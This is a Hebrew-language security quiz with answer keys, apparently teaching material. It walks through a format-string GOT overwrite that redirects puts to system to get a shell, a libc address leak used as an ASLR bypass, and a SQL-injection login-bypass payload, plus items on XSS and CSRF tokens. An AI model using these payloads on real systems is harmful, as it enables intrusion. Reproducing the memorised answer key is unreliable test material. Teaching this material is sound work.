# system@libc = 0xf7c4a380
# buf at param 7
payload = fmtstr_payload(7, {0x0804c010: 0xf7c4a380}, write_size='short')
# שלב הבא אחרי שליחת payload?- א. לשלוח את כתובת system() ישירות כדי שהתוכנית תקפוץ אליה באופן מיידי
- ב. לשלוח שוב fmtstr_payload נוסף כדי להשלים את הכתיבה אל תוך ה-GOT
- ג. להפעיל מחדש את התוכנית מההתחלה כדי שהשינוי ב-GOT ייכנס לתוקף
- ד. לשלוח '/bin/sh': puts@GOT הוא כעת system, אז הקריאה תריץ Shell
✓ תשובה: ד) — אחרי GOT Overwrite: puts@GOT → system(). הפעלה הבאה של puts('/bin/sh') = system('/bin/sh') = Shell! שלח b'/bin/sh' → conn.interactive().
גאמא סגנון ג׳ — Dry Run מלא · // 32bit program, Stack layout כש-printf(buf) רץ: // param 1: 0xffffd400 // param 2: 0x08048700 // param 3: 0x00000000 // param 4: 0xf7e4d380 ← libc addr (puts) // param 5: 0x0804c010 ← GOT puts // param 6: [buf start] = 0x25783624 ← '%x6$' = תחילת fmt // Input שנשלח: AAAA%4$x // (כלומר buf = 'AAAA' + '%4$x')מה הפלט?
// 32bit program, Stack layout כש-printf(buf) רץ: // param 1: 0xffffd400 // param 2: 0x08048700 // param 3: 0x00000000 // param 4: 0xf7e4d380 ← libc addr (puts) // param 5: 0x0804c010 ← GOT puts // param 6: [buf start] = 0x25783624 ← '%x6$' = תחילת fmt // Input שנשלח: AAAA%4$x // (כלומר buf = 'AAAA' + '%4$x')
- א. AAAA804c010: קריאה שגויה של param 5 (ה-GOT) במקום param 4 שנדרש
- ב. AAAAf7e4d380: הדפסת AAAA ואז param 4, וזהו גילוי כתובת בסיס libc
- ג. AAAA0: המפרט מדפיס את AAAA ואחריו את הערך אפס מתוך ה-Stack הנוכחי
- ד. 0xAAAA: הדפסה הקסדצימלית של המחרוזת AAAA כערך מספרי יחיד בלבד
✓ תשובה: ב) AAAAf7e4d380 — printf מדפיס 'AAAA' (4 תווים). %4$x → Direct Access לparam 4 = 0xf7e4d380. הדפסה כHex. סה"כ: "AAAAf7e4d380". ← זהו ASLR Bypass! 0xf7e4d380 = כתובת puts@libc בזמן ריצה.
שאלה 6.1 [קל] · מה ההבדל בין Reflected XSS ל-Stored XSS?
Reflected XSS
- א. Stored פחות מסוכן: הנחה שגויה, אף ש-Stored דווקא מסוכן יותר כי הוא נשמר ופוגע בכל המבקרים, בעוד Reflected דורש לחיצה על קישור זדוני
- ב. Reflected נשמר ב-DB: הנחה שגויה, אף שדווקא Stored נשמר ב-DB, בעוד Reflected מוחזר מיד מה-URL בתגובה בודדת ואינו נשמר לשימוש חוזר כן
- ג. ב-Reflected ה-JavaScript מוזרק דרך ה-URL ופוגע רק במי שלוחץ על הקישור, ואילו ב-Stored הקוד נשמר ב-DB ופוגע בכל מי שפותח את הדף
- ד. שניהם זהים לגמרי: הנחה שגויה, אף ש-Reflected חד-פעמי דרך URL ו-Stored מתמשך דרך DB, ולכן ההבדל ביניהם מהותי מבחינת ההיקף והסיכון
✓ תשובה נכונה: ג — Reflected: הזרקה דרך URL, נדרש קליק (Phishing). Stored: נשמר ב-DB (תגובה/פרופיל), פוגע בכל צופה. Stored מסוכן יותר. הגנה: Escaping/CSP.
שאלה 6.2 [בינוני] · מה מטרת ה-Payload ' OR 1=1 LIMIT 1--?
' OR 1=1 LIMIT 1--
- א. Login Bypass — התנאי OR 1=1 תמיד אמיתי ולכן השאילתה מחזירה שורה, ה-LIMIT מבטיח שורה אחת בלבד, וה-מקף הכפול מבטל את שארית הבדיקה
- ב. מחיקת טבלת המשתמשים: הנחה שגויה, אף שאין כאן פקודת DROP או DELETE, וה-Payload נועד לעקוף התחברות באמצעות תנאי אמת ולא למחוק נתונים
- ג. הצפת מסד הנתונים: הנחה שגויה, אף שאין כאן הצפה, ה-Payload מנצל את OR 1=1 כדי להחזיר שורה ולעקוף אימות סיסמה בדף ההתחברות כן
- ד. גניבת עוגיות המשתמש: הנחה שגויה, אף שגניבת עוגיות שייכת ל-XSS, ה-Payload הזה הוא SQL Injection שנועד לעקוף התחברות דרך תנאי אמת כאן
✓ תשובה נכונה: א — OR 1=1 → התנאי תמיד אמת → מוחזרת שורה. LIMIT 1 → שורה יחידה. -- → ביטול בדיקת הסיסמה. תוצאה: התחברות ללא סיסמה נכונה.
שאלה 6.3 [קשה] · מה זה CSRF Token ואיך הוא מגן?
CSRF Token
- א. מפתח שמצפין את הטופס: הנחה שגויה, אף שה-Token אינו מצפין דבר, אלא משמש ערך אקראי שהשרת מאמת כדי לוודא שהבקשה הגיעה מהאתר הלגיטימי כן
- ב. סיסמה נוספת למשתמש: הנחה שגויה, אף שאין כאן סיסמה נוספת, ה-Token הוא ערך אקראי חד-פעמי שהשרת בודק כדי לחסום בקשות מזויפות מאתר זר
- ג. כתובת השרת המאובטח: הנחה שגויה, אף שאין קשר לכתובת שרת, ה-Token הוא ערך אקראי שהשרת מצפה לו בכל טופס כדי למנוע בקשות חוצות-אתרים
- ד. ערך אקראי שמשובץ בטופס, והשרת מאמת אותו לפני ביצוע פעולה — אתר תוקף אינו יכול לנחש את הערך, ולכן בקשה מזויפת מטעמו תיכשל באימות
✓ תשובה נכונה: ד — CSRF Token = ערך אקראי בטופס שהשרת מנפיק ומאמת. אתר תוקף לא יודע אותו → בקשתו נכשלת. הגנה מרכזית מפני Cross-Site Request Forgery.